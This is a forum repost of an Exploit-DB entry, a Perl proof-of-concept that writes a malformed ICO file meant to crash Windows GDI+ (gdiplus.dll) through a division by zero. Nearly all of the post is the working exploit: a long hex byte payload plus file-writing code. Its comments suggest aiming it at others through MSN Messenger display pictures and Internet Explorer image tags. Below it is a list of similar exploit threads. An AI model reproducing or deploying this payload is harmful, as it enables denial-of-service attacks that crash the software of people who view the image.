Exploit Microsoft Windows XP/2000/2003 - Graphical Device Interface Plus Library Denial of Service

Exploiter

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
28299
Проверка EDB
  1. Пройдено
Автор
MR. NIEGA
Тип уязвимости
DOS
Платформа
WINDOWS
CVE
N/A
Дата публикации
2006-07-29
Код: 
source: https://www.securityfocus.com/bid/19221/info

Reportedly, the Microsoft Windows GDI+ library 'gdiplus.dll' is prone to a denial-of-service vulnerability because the software fails to handle malformed image files properly. 

An attacker may leverage this issue to trigger a denial-of-service condition in software implementing the vulnerable library. Other attacks may also be possible.

#!/bin/perl
# 0-day crash poc gdiplus.dll by Mr.Niega
# Check out hex offset 2e play with the 2byte's, #set it to 20 if you want a non crashing ico file
# [Division by zero] 
# this POC tested with:
# win XP ENG sp2
# And for SYS 49152 im that 0daysec guy ;)
# 
#Rename Poc.ico to Poc.png and have it as display #picture =) ???  Msn messenger
# Also use it to crash ie  <img dynsrc="Poc.jpg">
# Credits : MarjinZ ,  SYS 49152

my $all = 
"\x00\x00\x01\x00\x02\x00\x10\x10\x00\x00\x00\x00\x00\x00\x68\x05\x00\x00\x26\x00\x00\x00\x20\x20\x00\x00\x00\x00\x00\x00\xA8\x08\x00\x00\x8E\x05\x00\x00\x28\x00\x00\
x00\x10\x00\x00\x01\x01\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00\x40\x01\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\x00\x27\x6A\xE6\x00\x8C\xBC\xEF\x00\x27\x38\x6C\x00\x57\x74\xA1\x00\x08\x13\x3F\
x00\x1F\x52\xAA\x00\x61\x91\xE3\x00\x48\x5B\x7E\x00\x3B\x7C\xBF\x00\x04\x3A\x9A\x00\x79\x95".
"\xC5\x00\x31\x86\xFC\x00\x17\x65\xC6\x00\x1F\x30\x4C\x00\xA0\xD1\xFF\x00\x42\x7F\xDF\x00\x2C\x4C\x85\x00\x09\x2E\x65\x00\x7C\xA3\xE1\x00\x07\x09\x1D\x00\x3A\x61\xA8\
x00\x58\x86\xC2\x00\x0E\x42\x80\x00\x1B\x41\x96\x00\x2B\x6B\xB6\x00\x46\x72\xAD\x00\x35\x56".
"\x97\x00\x50\x90\xD7\x00\x0A\x1C\x51\x00\x7A\xB3\xED\x00\x0A\x15\x2C\x00\x28\x60\xCD\x00\x37\x73\xD6\x00\x0F\x4D\xA3\x00\x46\x6E\xC1\x00\x25\x40\x7B\x00\x0E\x23\x42\
x00\x56\x7B\xB6\x00\x45\x79\xD0\x00\x3B\x65\xB9\x00\x72\x99\xD3\x00\x02\x00\x10\x00\x4B\x6B".
"\x9D\x00\x8E\xB6\xE1\x00\x0C\x34\x7A\x00\x18\x56\x9B\x00\x1B\x22\x4A\x00\x12\x1C\x36\x00\x36\x4D\x7B\x00\x1C\x48\x82\x00\x2B\x77\xE5\x00\x39\x51\x8B\x00\x87\xAB\xE4\
x00\x1A\x38\x6F\x00\x31\x7A\xC7\x00\x18\x38\x7C\x00\x15\x4D\xB0\x00\x1D\x2D\x58\x00\x1F\x32".
"\x65\x00\x46\x68\xB4\x00\x4A\x77\xBA\x00\x2F\x6E\xC1\x00\x2A\x62\xAE\x00\x10\x16\x47\x00\x13\x28\x64\x00\x61\x84\xC9\x00\x5A\x75\xAC\x00\x1A\x4C\x93\x00\x41\x66\x9F\
x00\x0C\x3F\x94\x00\x05\x20\x5A\x00\x32\x5D\x9F\x00\x1D\x28\x41\x00\x14\x3C\x87\x00\x6A\x93".
"\xD7\x00\x53\x7B\xC0\x00\x39\x74\xCA\x00\x05\x0D\x28\x00\x27\x3C\x63\x00\x3C\x7B\xD5\x00\x08\x1C\x44\x00\x75\xAE\xE7\x00\x4E\x7F\xB8\x00\x0A\x2D\x6E\x00\x32\x4C\x8E\
x00\x00\x04\x1B\x00\x30\x47\x7D\x00\x05\x19\x3A\x00\x03\x03\x07\x00\x10\x32\x64\x00\x52\x74".
"\xAB\x00\x26\x41\x83\x00\x72\x99\xDB\x00\x04\x07\x13\x00\x06\x12\x32\x00\x16\x25\x45\x00\x2C\x41\x78\x00\x4A\x74\xC3\x00\x11\x1D\x45\x00\x0B\x11\x26\x00\x04\x12\x45\
x00\x26\x66\xD0\x00\x0C\x17\x3B\x00\x34\x53\x8F\x00\x0A\x38\x9C\x00\x84\xA6\xE1\x00\x78\x9A".
"\xD5\x00\x34\x51\x87\x00\x12\x1E\x3C\x00\x21\x2F\x54\x00\x5A\x7B\xAC\x00\x0D\x3D\x7D\x00\x37\x5E\xA2\x00\x0B\x16\x44\x00\x11\x2B\x60\x00\x00\x00\x0A\x00\x05\x10\x3C\
x00\x03\x07\x18\x00\x73\x9C\xD7\x00\x56\x7C\xBB\x00\x36\x4E\x80\x00\x08\x0D\x24\x00\x00\x00".
"\x05\x00\x03\x10\x2B\x00\x9E\xCD\xFE\x00\x11\x20\x41\x00\x20\x35\x68\x00\x79\xA1\xE3\x00\x03\x09\x1D\x00\x04\x0B\x25\x00\x07\x13\x43\x00\x0B\x19\x3E\x00\x0E\x17\x42\
x00\x55\x73\xA9\x00\x0B\x13\x29\x00\x01\x03\x0B\x00\x04\x0A\x1A\x00\x31\x52\x8E\x00\x03\x04".
"\x1A\x00\x30\x4A\x7C\x00\x02\x01\x03\x00\x00\x00\x0D\x00\x6C\x95\xD8\x00\x08\x15\x45\x00\x0E\x21\x44\x00\x03\x00\x05\x00\x06\x0C\x26\x00\x11\x1A\x37\x00\x20\x54\xAB\
x00\x0A\x40\x95\x00\x1E\x31\x67\x00\x33\x4D\x8C\x00\x02\x00\x01\x00\x03\x06\x16\x00\x06\x0E".
"\x24\x00\x08\x0F\x25\x00\x12\x1D\x38\x00\x12\x1E\x41\x00\x03\x02\x05\x00\x00\x00\x08\x00\x05\x09\x19\x00\x01\x00\x02\x00\x02\x01\x05\x00\x02\x03\x0A\x00\x0C\x13\x28\
x00\x07\x1D\x44\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x01\x00\x01\x00\x01\x00\x00\x00".
"\x06\x00\x03\x03\x06\x00\x01\x00\x0A\x00\x07\x0E\x24\x00\x05\x0D\x29\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7B\x94\xA2\x5A\xAB\xAA\x32\x30\x0B\x0D\x1D\x45\x48\x8C\x8E\x00\xAD\x68\x73\x5A\xA8\x00\x0F\x35\x07\x34\
x6A\x4B\x60\x00\xAB\x00\xA8\x9A\x06\x4F\x00\x00\x65\x58\x39\x40\x67\x02\x96\xA5\xA8\x00\xA3".
"\x00\x5F\x1E\x9C\x00\xAE\x7A\x41\x19\x11\x21\x22\x61\x00\x00\xA3\xA3\xA8\xB0\x84\x93\x7D\x27\x44\x29\x08\x3A\x4E\x6D\x00\x00\xA3\xA3\xAB\xA9\x2B\x13\x23\x3E\x87\x43\
x6B\x47\x3F\x79\xAC\x00\xA3\xA3\xA8\x8F\x71\x0E\x91\x3B\x1C\x6C\x0C\x97\x51\x90\x9D\x00\xA3".
"\xA8\x89\x33\x38\x92\x76\x8D\x78\x36\x09\x55\x28\x81\x6E\x00\xA3\xA8\x8A\x2F\x26\x83\x2E\x5C\x03\x2A\x31\x74\x63\x14\x95\x00\xA3\xA8\xA4\x18\x0A\x9F\x57\x70\x7E\x05\
x20\x4D\x3D\x5E\x9E\x00\xA3\xAB\xA8\x59\x1A\x54\xA7\x17\x10\x4A\x00\x7F\x56\x4C\x88\x00\xA3".
"\xA3\xA8\x00\x5B\x53\x1F\x1B\x69\x52\x37\x5D\x24\x72\xA1\x00\xA3\xA3\xA3\x00\xAF\x2C\x2D\x46\x16\x49\x8B\x99\x42\x66\x15\x00\xA3\xA3\xA3\xAB\xA0\x9B\xA6\x12\x50\x7C\
xAA\x85\x86\x3C\x62\x00\xA3\xA3\xA3\xA3\xAB\x00\x77\x82\x75\x25\x80\x6F\x98\x64\x04\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\
x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00".
"\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\xFF\xFF\x00\x00\x28\x00\x00\x00\x20\x00\x00\x00\x40\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00\x80\x04\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\x00\x1F\x77".
"\xF2\x00\x34\x47\x6E\x00\x93\xB5\xEA\x00\x69\x82\xAD\x00\x00\x0C\x4E\x00\x11\x54\xAA\x00\x55\xAF\xF9\x00\x35\x7B\xC3\x00\x07\x31\x70\x00\x41\x5D\x9B\x00\x72\x97\xDD\
x00\x48\x8C\xE1\x00\x0B\x11\x28\x00\x17\x5A\xD5\x00\x1D\x26\x4B\x00\x10\x35\x92\x00\x8B\xA1".
"\xC7\x00\x75\xBB\xFC\x00\xAC\xCA\xF2\x00\x50\x76\xCA\x00\x2D\x4C\x91\x00\x2A\x64\xAF\x00\x1E\x3B\x5F\x00\x29\x6F\xD9\x00\x46\x69\xB5\x00\x63\x8E\xC9\x00\x7A\xAF\xE3\
x00\x1E\x3A\x7C\x00\x59\xA3\xE4\x00\x53\x6D\x9B\x00\x09\x20\x5A\x00\x02\x04\x18\x00\x45\x89".
"\xCA\x00\x0D\x16\x3D\x00\x99\xC7\xF9\x00\x13\x4C\xC6\x00\x12\x62\xBC\x00\x40\x7A\xDF\x00\x02\x04\x2E\x00\x11\x4D\x99\x00\x2D\x69\xC7\x00\x42\x53\x79\x00\x5F\x91\xE0\
x00\x69\xA5\xEB\x00\x0B\x40\x83\x00\x85\xA8\xDC\x00\x2D\x55\xA1\x00\x21\x53\xB9\x00\x5E\x80".
"\xBA\x00\x2D\x84\xF3\x00\x3F\x6D\xC9\x00\x21\x62\xE3\x00\x3F\x58\x8B\x00\x06\x5C\xD0\x00\x52\x74\xB3\x00\x13\x41\xA5\x00\x16\x2C\x5E\x00\x1F\x50\xA4\x00\x56\x81\xD9\
x00\x28\x74\xB6\x00\x4B\x9D\xEB\x00\x48\x77\xC0\x00\x23\x3D\x6F\x00\x3F\x66\xA9\x00\x6C\x8A".
"\xBD\x00\x0C\x0D\x14\x00\x17\x69\xD1\x00\x0C\x1E\x4B\x00\x7B\xB0\xF1\x00\x37\x4D\x87\x00\x60\x81\xC9\x00\x6B\x9A\xD0\x00\x04\x0F\x36\x00\x4E\x6E\xA7\x00\x24\x30\x60\
x00\x1B\x49\x92\x00\x9F\xBE\xE9\x00\x85\xB1\xE7\x00\x25\x46\x82\x00\x03\x33\x8D\x00\x7C\x9F".
"\xD8\x00\x19\x32\x69\x00\x20\x6A\xB8\x00\x3B\x6B\xBE\x00\x43\x73\xAE\x00\x49\x7E\xD5\x00\x31\x58\xAF\x00\x59\x96\xD7\x00\x0E\x2A\x65\x00\x66\x91\xD8\x00\x14\x3F\x7C\
x00\x81\xA6\xE7\x00\x1D\x59\xAE\x00\x21\x5B\xCD\x00\x6B\xB3\xFF\x00\x04\x08\x24\x00\x86\xBA".
"\xEE\x00\x38\x59\x93\x00\x0D\x27\x71\x00\x40\x8C\xD8\x00\x3B\x81\xC8\x00\x04\x04\x0C\x00\x99\xB4\xE0\x00\x30\x63\xA4\x00\x17\x1B\x37\x00\x13\x59\xA2\x00\x22\x6E\xEA\
x00\x26\x78\xD1\x00\x10\x26\x43\x00\x13\x3D\x8B\x00\x34\x75\xD8\x00\x5F\x8B\xBD\x00\x3A\x60".
"\xB0\x00\x51\x88\xCA\x00\x06\x13\x44\x00\x75\xA5\xE1\x00\x2D\x45\x79\x00\x14\x23\x56\x00\x0A\x38\x78\x00\x04\x2B\x65\x00\x3A\x80\xE8\x00\xA1\xCA\xF3\x00\x67\x98\xE0\
x00\x5F\x89\xD4\x00\x29\x55\x90\x00\x50\x7A\xBA\x00\x93\xBD\xF4\x00\x11\x4F\xBC\x00\x0A\x35".
"\x9E\x00\x53\x8F\xD9\x00\x26\x65\xD5\x00\x3D\x71\xD7\x00\x2E\x63\xB7\x00\x0E\x43\x8A\x00\x0C\x2D\x55\x00\x11\x47\xAE\x00\x0A\x44\xA3\x00\x9E\xCE\xFF\x00\x36\x59\x9E\
x00\x43\x5C\x92\x00\x1D\x4F\x92\x00\x1B\x37\x72\x00\x9A\xC6\xF1\x00\x1B\x2A\x57\x00\x2D\x40".
"\x6F\x00\x0E\x58\xB6\x00\x29\x4E\x8A\x00\x24\x37\x68\x00\x07\x0C\x1C\x00\x3D\x7D\xD5\x00\x11\x63\xCC\x00\x28\x46\x74\x00\x1E\x60\xD8\x00\x05\x19\x4C\x00\x12\x19\x48\
x00\x4B\x70\xB5\x00\x6B\xA0\xE1\x00\x06\x0D\x2C\x00\x0E\x0E\x43\x00\x07\x26\x4E\x00\x11\x4A".
"\xA3\x00\x18\x4F\xA3\x00\x1A\x3E\x6C\x00\x0F\x3A\x80\x00\x5B\x7B\xB2\x00\x17\x50\xA9\x00\x57\x85\xC6\x00\x25\x45\x8D\x00\x41\x70\xC2\x00\x6F\x93\xCC\x00\x8B\xAC\xDF\
x00\x3D\x7A\xC3\x00\x06\x07\x34\x00\x0A\x11\x33\x00\x27\x62\xA7\x00\x3C\x5F\xA1\x00\x81\xAE".
"\xE0\x00\x42\x73\xCB\x00\x42\x65\xA3\x00\x0C\x1C\x42\x00\x63\x8C\xCE\x00\x35\x6B\xC3\x00\x24\x5F\xB0\x00\x46\x6A\xAC\x00\x06\x18\x3C\x00\x13\x3F\x94\x00\x25\x67\xC4\
x00\x34\x65\xAB\x00\x0D\x23\x5E\x00\x24\x6E\xE2\x00\x2A\x69\xCF\x00\x11\x1B\x35\x00\x1B\x2F".
"\x60\x00\x57\x78\xC1\x00\x55\x87\xD5\x00\x11\x55\x99\x00\x20\x4E\x9C\x00\x05\x07\x14\x00\x08\x11\x3D\x00\x18\x3D\x83\x00\x37\x53\x88\x00\x8B\xB1\xEB\x00\x11\x22\x4A\
x00\x33\x52\x9B\x00\x68\x92\xD3\x00\x2F\x75\xB9\x00\x3D\x61\xB7\x00\x01\x01\x08\x00\x91\xC4".
"\xF2\x00\x09\x1E\x52\x00\x70\x9F\xE3\x00\x63\x8A\xC5\x00\x01\x01\x11\x00\x08\x08\x2A\x00\x74\x9B\xD7\x00\x2F\x50\x94\x00\x20\x2F\x58\x00\x09\x36\x8E\x00\x0C\x4A\xA0\
x00\x93\xBF\xED\x00\x11\x13\x37\x00\x39\x72\xCB\x00\x14\x5A\xAC\x00\x26\x4A\x93\x00\x36\x53".
"\x8E\x00\x32\x5D\xA2\x00\x55\x80\xBE\x00\x8C\xB3\xE5\x00\x06\x2A\x71\x00\x3F\x85\xD7\x00\x53\x80\xC9\x00\x7D\x9F\xDE\x00\x0E\x23\x57\x00\x0E\x32\x70\x00\x0C\x3A\x7B\
x00\x24\x6C\xD5\x00\x2C\x67\xD5\x00\x0E\x4C\xAA\x00\x3C\x68\xAC\x00\x2B\x58\xA6\x00\x09\x13".
"\x2D\x00\x75\xB3\xEF\x00\x0A\x27\x62\x00\x03\x3A\x8D\x00\x4F\x77\xB7\x00\x41\x66\xBA\x00\x08\x16\x46\x00\x77\xA3\xD9\x00\x01\x14\x51\x00\x7A\xA5\xE3\x00\x08\x28\x57\
x00\x6C\x94\xDE\x00\x07\x3B\x87\x00\x21\x60\xD2\x00\x00\xC7\xC7\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x0E\xC3\x92\x00\xF8\xDB\x37\x33\x60\x13\x83\xB8\x87\x78\x20\xC8\x61\x67\x00\x00\x96\xAF\xC8\x21\xD1\xD6\xC7\x00\x00\x00\x00\x00\xD1\x47\x8D\x61\x74\x8A\
x02\x7A\x22\x59\xAD\x29\x2E\xF4\x28\xD6\x00\x00\x00\x00\x00\x00\xCC\xBE\x4A\xEA\xC1\x00\x00".
"\x00\x00\x00\x00\x18\x32\x4C\x28\x8A\x6C\x9A\x81\x4D\x5A\x9B\x9B\x4A\xD6\x00\x00\x00\x00\x00\x00\x00\x67\xCC\x74\x23\xC7\x00\x00\x00\x00\x00\x00\x6E\x4B\xB4\x76\x11\
xBF\x19\x0F\x82\x64\x6F\xF4\xD6\x00\x00\x00\x00\x00\x00\x00\x00\x00\x67\xAF\xC8\x4A\x00\x00".
"\x00\x00\x00\x00\x0E\x47\x76\x50\x3B\x08\x1E\xBB\x25\x84\x70\xED\xA5\xD1\x00\x00\x00\x00\x00\x00\x00\x00\x00\xC7\x74\xBE\x96\x00\x00\x00\x00\x00\x21\x95\x36\x74\x6F\
xA7\xB8\xA7\x70\x35\x5F\xFF\xC0\x45\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x61\xD3\xF8\x67".
"\x00\x00\x00\x00\xD6\xCC\x32\x77\xF8\xA0\x11\xE7\x0D\x25\xEE\x5F\x70\xE1\xD1\x00\x00\x00\x00\x00\x00\x00\x00\x00\xD1\xC8\x20\x45\xC7\x00\x00\x00\xD1\x23\xA6\x40\x61\
x9C\x39\x0D\x34\x85\x27\x89\x97\xAA\x9F\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xC7\xF8\xBE".
"\xD3\x96\x00\x00\x67\x61\x76\xA6\x4C\x64\x31\xB3\x57\x27\x31\xEF\x97\x2C\xC2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x9F\x74\x74\xC8\x21\x00\x21\xF4\xB6\x68\x1F\
xBB\x34\xFD\x7C\xEE\x81\xA7\xB7\x2C\xD9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x67\x61".
"\x61\x21\xD1\xF2\x87\xB8\xE8\xAC\x12\xA9\x7D\x5D\xCB\xAA\xDB\xFE\x5E\xD4\x3F\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x67\xD1\xD6\xFC\x07\x07\xA3\xF0\xF9\x05\
xCD\x5B\x5D\x04\xB9\x51\xDC\x5E\xD4\x5B\xB5\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x9F\xEC\x26\x98\x6F\x45\x41\xB1\x53\xA9\x0C\xAC\x04\x8C\xF5\x93\xBC\x9E\xFB\x53\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x67\x9F\x78\x26\x44\xA3\xD7\xD6\x3A\x8D\xB4\
x16\xE9\x4E\xAC\x1D\xDC\xBC\x2A\x5B\x4F\xD9\xD1\x00\x00\x00\x00\x00\x00\x00\x00\x67\xC8\xEC".
"\x54\x6D\xEC\xDE\xAE\x21\x45\x4B\xAB\xB1\x2F\x14\x42\x4A\xA2\x2A\xDF\x7D\xCB\x41\x21\x00\x00\x00\x00\x00\x00\x00\xD1\x9F\x5C\x09\x3E\x8E\x67\x45\xBE\x4A\x50\xF9\xE5\
x9D\x2F\x14\xCA\x21\xC6\x86\xB7\x5B\x04\x9D\x61\x00\x00\x00\x00\x00\x00\x00\x21\x88\xCF\x65".
"\xB0\xC7\x96\x5A\x5C\x45\xB4\x1C\xDD\x7F\x2F\x4F\xB5\xD1\xC9\xF1\x55\xCE\xCB\x9D\x61\x00\x00\x00\x00\x00\x00\x00\x67\xA1\x6B\x78\xD1\x00\xB5\xA5\x8E\x45\x38\x62\x90\
xE4\x2F\x38\x00\xD1\x20\x30\xF7\xCE\x04\xB9\x21\x00\x00\x00\x00\x00\x00\x00\xD1\xBA\x2E\xC5".
"\xA4\xC7\x9F\xD3\x4D\x45\x32\x90\x7B\x1B\xE5\x92\xD1\x40\xB1\x30\x1A\xB6\x04\x4B\x21\x00\x00\x00\x00\x00\x00\x00\x00\xAF\x87\x3D\x1E\xBD\xD6\x21\x9F\x9F\xD5\x90\xDD\
xB2\x52\x96\x21\x7F\x52\x1A\x1A\xC3\xCB\xF6\x21\x00\x00\x00\x00\x00\x00\x00\x00\x96\xEC\x54".
"\x09\x2D\x94\x00\xD1\x23\xD5\x4F\x4F\x80\xCA\x00\x00\x99\xF6\x1A\x16\x1A\x5D\xB9\xD6\x00\x00\x00\x00\x00\x00\x00\x00\x67\xB5\x79\xE0\x73\x9E\xB5\x45\x0A\xA8\xD2\x7B\
x75\x4A\x00\x00\xD1\xCC\x45\xBE\x48\xFB\x63\xD1\x00\x00\x00\x00\x00\x00\x00\x00\x00\xC7\x61".
"\x78\x66\x75\x59\x17\x69\xA8\x24\x8B\x63\x00\x00\xD1\xD1\xD6\xC8\xB1\x5B\xD8\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xF2\x78\x56\x1C\x62\xF3\x71\x7E\x3F\xB1\
xAF\x9F\x45\xEB\xC9\xE1\x72\x15\xC4\xAA\xB5\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x96".
"\x45\x76\x49\x90\x90\xB2\xE2\x06\xFA\xA5\x3B\x86\x55\x15\x15\xD0\x58\xBB\xE6\x61\xD1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xD1\x61\x91\x4B\x4F\x7B\x2F\x50\xF0\xE8\
xC4\x3F\xF0\x8C\x0B\xE2\x1D\xEA\x4A\xC8\xD7\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xC7\xF2\xDA\x40\x1F\x2B\x94\x46\x1B\x03\xC1\x96\xC7\xC7\x4A\x23\xAF\xAF\x77\xC2\x9C\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xC7\x21\x00\xD1\xF2\xE3\x50\x45\
x00\x00\x00\x00\x0E\x45\xF8\x45\x9C\x53\xE2\xE2\x9C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\xC2\x3A\xD1\xC8\x00\xD6\xEA\xC7\x96\x53\x50\x77\x23\x40\x40\xE2\x4C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xC7\x45\xD6\x00\x9F\
x21\x1D\xE3\xC2\x00\x03\x0B\x77\xAF\x0E\x91\x95\x6A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x96\xD6\x00\x00\x00\xC2\x3C\x1A\x1A\x91\x43\x10\x8F\x23\x61\x91\xC2\x0E\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00".
"\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\
x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00".
"\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\
x00\x80\x00\x00\x00\x80\x00\x00\x00\xFF\xFF\xFF\xFF";

open(Niega, ">Poc.ico") || die "Can't Write temporary File\n";
binmode (Niega);
print Niega $all;
close (Niega);
print "Peace out..\n";
 
Источник
www.exploit-db.com
Войдите или зарегистрируйтесь для ответа.

Похожие темы

Exploiter
Exploit Microsoft Windows Server 2000/95/98/NT 4.0 - Long Filename Extension
Ответы
0
Просмотры
559
Эксплойты & Уязвимости
Exploiter
Exploiter
Exploiter
Exploit Microsoft Windows NT 4.0/2000 - TCP/IP Printing Service Denial of Service
Ответы
0
Просмотры
507
Эксплойты & Уязвимости
Exploiter
Exploiter
Exploiter
Exploit Microsoft Windows Server 2000/95/98/ME/NT 3.5.x/Enterprise Server 4.0/Terminal Server 4.0/Workstation 4.0 Microsoft DoS Device Name - Denial of Se...
Ответы
0
Просмотры
536
Эксплойты & Уязвимости
Exploiter
Exploiter
Exploiter
Exploit Microsoft Index Server 2.0 / Indexing Service (Windows 2000) - Directory Traversal
Ответы
0
Просмотры
573
Эксплойты & Уязвимости
Exploiter
Exploiter
Exploiter
Exploit Microsoft Windows XP/2000 - 'WinMM.dll' / '.WAV' Remote Denial of Service
Ответы
0
Просмотры
515
Эксплойты & Уязвимости
Exploiter
Exploiter
Exploiter
Exploit Microsoft Internet Explorer 5 (Windows 95/98/2000/NT 4.0) - XML HTTP Redirect
Ответы
0
Просмотры
546
Эксплойты & Уязвимости
Exploiter
Exploiter
Exploiter
Exploit Microsoft Windows NT 4.0/2000 - POSIX Subsystem Local Buffer Overflow / Local Privilege Escalation (MS04-020)
Ответы
0
Просмотры
483
Эксплойты & Уязвимости
Exploiter
Exploiter
Exploiter
Exploit Microsoft Windows XP/2000/NT 4.0 - Shell Long Share Name Buffer Overrun
Ответы
0
Просмотры
469
Эксплойты & Уязвимости
Exploiter
Exploiter
Exploiter
Exploit Microsoft Windows NT 4.0/2000 - Local Descriptor Table Privilege Escalation (MS04-011)
Ответы
0
Просмотры
483
Эксплойты & Уязвимости
Exploiter
Exploiter
Exploiter
Exploit Microsoft Windows XP/2000 - Help File Relative Path Remote Command Execution
Ответы
0
Просмотры
492
Эксплойты & Уязвимости
Exploiter
Exploiter
Сверху Снизу